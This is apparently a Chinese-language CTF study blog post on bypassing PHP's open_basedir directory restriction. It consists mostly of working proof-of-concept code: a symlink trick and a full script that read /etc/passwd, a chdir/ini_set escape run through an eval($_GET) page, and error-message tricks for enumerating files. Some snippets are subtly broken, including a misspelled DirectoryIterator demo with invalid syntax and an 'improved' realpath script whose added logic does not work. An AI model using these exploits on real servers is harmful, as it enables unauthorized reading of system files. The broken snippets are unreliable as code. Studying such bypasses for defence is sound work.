Open_basedir绕过

前言

emm最近刷题呢,之前都没有系统刷过题目所以有些知识点就没有学习,现在就来一点点补上,还是太菜了

introduction

Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。

设置open_basedir的方法,在linux下,不同的目录由“:”分割,如“/var/www/:/tmp/”;在Windows下不同目录由“;”分割,如“c:/www;c:/windows/temp”。

/img/opendir/1.png
可以在php.ini配置文件中进行配置

globe://伪协议

那么在使用这个协议之前那肯定得知道这个协议是什么吧,所以也是去看了一下php的doc https://www.php.net/manual/zh/wrappers.glob.php

可以看见官方给出的demo

1
2
3
4
5
6
7
8
<?php  
// 循环 ext/spl/examples/ 目录里所有 *.php 文件  
// 并打印文件名和文件尺寸  
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");  
foreach($it as $f) {  
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);  
}  
?>

这个只做一个引入,因为单纯的使用globe伪协议是没有办法绕过的,并且不能列出前面的目录以及以外的文件,更不能读取文件内容所以单纯的使用并没有什么好玩的

关于Diretorylterator这个类的一些介绍: https://www.php.net/manual/zh/class.directoryiterator.php php5中增加的一个类,为用户提供一个简单的查看目录的接口 demo2:

1
2
3
4
5
6
7
8
9
$result = array{};
$mulu =new Diretorylterator("globle:///*");
foreach($mulu as $a){
	$result = $a->__toString();
}
sort($result);
foreach($result as $s){
        echo "{$s}<br/>";
}

这里自己打了一遍,因为不想贴别人的代码…(主要是自己打一遍比较好),绕过条件:PHP>5.3 && Linux环境下才可

  • opendir()–>打开目录
  • readdir()->返回目录中下一个文件的文件名。文件名以在文件系统中的排序返回。

所以脚本如下

1
2
3
4
5
6
7
8
9
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
?>

关于这个解法我不打算去看因为这个也是好像绕不了open_basedir的 引用:“这种方法也只能列出根目录和open_basedir允许目录下的文件。“

symlink绕过

symlink()函数创建一个从指定名称连接的现存目标文件开始的符号连接。: https://www.php.net/manual/zh/function.symlink.php 用法: symlink(string $target, string $link): bool

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","SD");
symlink("SD/../../../../etc/passwd","POC");
unlink("SD");
mkdir("SD");
?>

这里的原理就是通过软连接作为一个桥梁来进行绕过 具体的思路如下:

  • 创建了A/B/C/D这个目录
  • 创建SD软链接到目录A/B/C/D
  • 然后让POC指向SD上面的目录这个时候因为返回后../../../../刚好回到open_basedir限制的html目录下面所以这里没毛病
  • 然后删除了SD软链接又创建了一个文件夹这个时候POC指向的就是: var/www/html/SD/../../../../etc/passwd从而进行绕过(这个思路确实好玩) exp哈哈哈哈哈哈哈哈哈也是贴贴
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
<?php
/* * by phithon * From https://www.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { 
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
    if (@is_file($deldir)) {
        @chmod($deldir,0777);
        return @unlink($deldir);
    }else if(@is_dir($deldir)){
        if(($mydir = @opendir($deldir)) == NULL) return false;
        while(false !== ($file = @readdir($mydir)))
        {
            $name = File_Str($deldir.'/'.$file);
            if(($file!='.') && ($file!='..')){delfile($name);}
        } 
        @closedir($mydir);
        @chmod($deldir,0777);
        return @rmdir($deldir) ? true : false;
    }
}

function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

realpath列举目录

Realpath函数是php中将一个路径规范化成为绝对路径的方法,它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。 but,在开启了open_basedir以后,这个函数有个特点:当我们传入的路径是一个不存在的文件(目录)时,它将返回false;当我们传入一个不在open_basedir里的文件(目录)时,他将抛出错误(File is not within the allowed path(s))。 所以就是利用这个特性进行猜解,考虑到效率问题,所以利用了Windows下的通配符

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); //打印了当前open限制的目录
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>

脚本可以列出D:/test/下的文件目录,当然这个只在Windows下适用在linux下面不适用 这里还有一个缺点就是不能列出来首字母相同的文件,所以我打算改进一下p神的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
// 设置 open_basedir 指令
ini_set('open_basedir', dirname(__FILE__));

// 打印 open_basedir 限制
echo "<b>open_basedir: " . ini_get('open_basedir') . "</b><br />";

// 定义自定义错误处理程序
set_error_handler('isexists');

// 目录和字符
$dir = 'd:/test/';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';

// 迭代字符
for ($i = 0; $i < strlen($chars); $i++) {
    $file = $dir . $chars[$i] . '<>';
    if (file_exists($file)) {
        // 尝试访问文件
        $realpath = realpath($file);
        if ($realpath === false) {
            // 文件无法访问
            trigger_error("File $file is not within allowed directories.", E_USER_WARNING);
        }
    }
    // 如果下一个字符的首字母与当前字符的首字母相同,则跳过
    while ($i < strlen($chars) - 1 && $chars[$i] == $chars[$i + 1]) {
        $i++;
    }
}

// 自定义错误处理程序函数
function isexists($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    if (preg_match($regexp, $errstr, $matches)) {
        echo "{$matches[1]}<br />";
    }
}
?>

利用SplFileInfo::getRealPath()列举目录

SplFileInfo类是PHP5.1.2之后引入的一个类,提供一个对文件进行操作的接口。其中有一个和realpath名字很像的方法叫getRealPath。

这个方法功能和realpath类似,都是获取绝对路径用的。我们在SplFileInfo的构造函数中传入文件相对路径,并且调用getRealPath即可获取文件的绝对路径。

这个方法有个特点:完全没有考虑open_basedir。在传入的路径为一个不存在的路径时,会返回false;在传入的路径为一个存在的路径时,会正常返回绝对路径。 所以不像realpath需要考虑是否在open_basedir下面的条件

P神POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) { 
    $info = new SplFileInfo($basedir . $chars[$i] . '<><');
    $re = $info->getRealPath();
    if ($re) {
        dump($re);
    }
}
function dump($s){
    echo $s . '<br/>';
    ob_flush();
    flush();
}
?>

利用chdir与ini_set

首先解释一下ini_set https://www.php.net/manual/zh/function.ini-set 这里先放一下demo network师傅的

1
2
3
4
5
6
<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>

EXP:

1
mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

一些分析: https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/ 好吧我实在是看不下去底层了…还是功底不够..还得练

GD库imageftbbox/imagefttext

看了一下其实和前面的realpath一样都是通过一些报错来进行猜解 当文件存在,则php会抛出“File(xxxxx) is not within the allowed path(s)”错误。但当文件不存在的时候会抛出“Invalid font filename”错误。

POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    //$m = imagecreatefrompng("zip.png");
    //imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
    imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
    global $file;
    if (stripos($errstr, 'Invalid font filename') === FALSE) {
        printf("%s<br/>", $file);
    }
}
?>

bindtextdomain暴力执法

emm原理还是一样但是鸡肋,因为Windows下面默认没有这个函数&&linux下面是不能使用通配符进行绕过所以如果上面的方法都没有用才会考虑这些猜解的问题

1
2
3
4
5
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

reference

1、 https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.htm 2、 https://xz.aliyun.com/t/10070?time__1311=mq%2BxBD9QDQe4RDBkPoGkYL5AKeGIhxqGOjeD 3、 https://www.v0n.top/2020/07/10/open_basedir%e7%bb%95%e8%bf%87/ 4、 https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/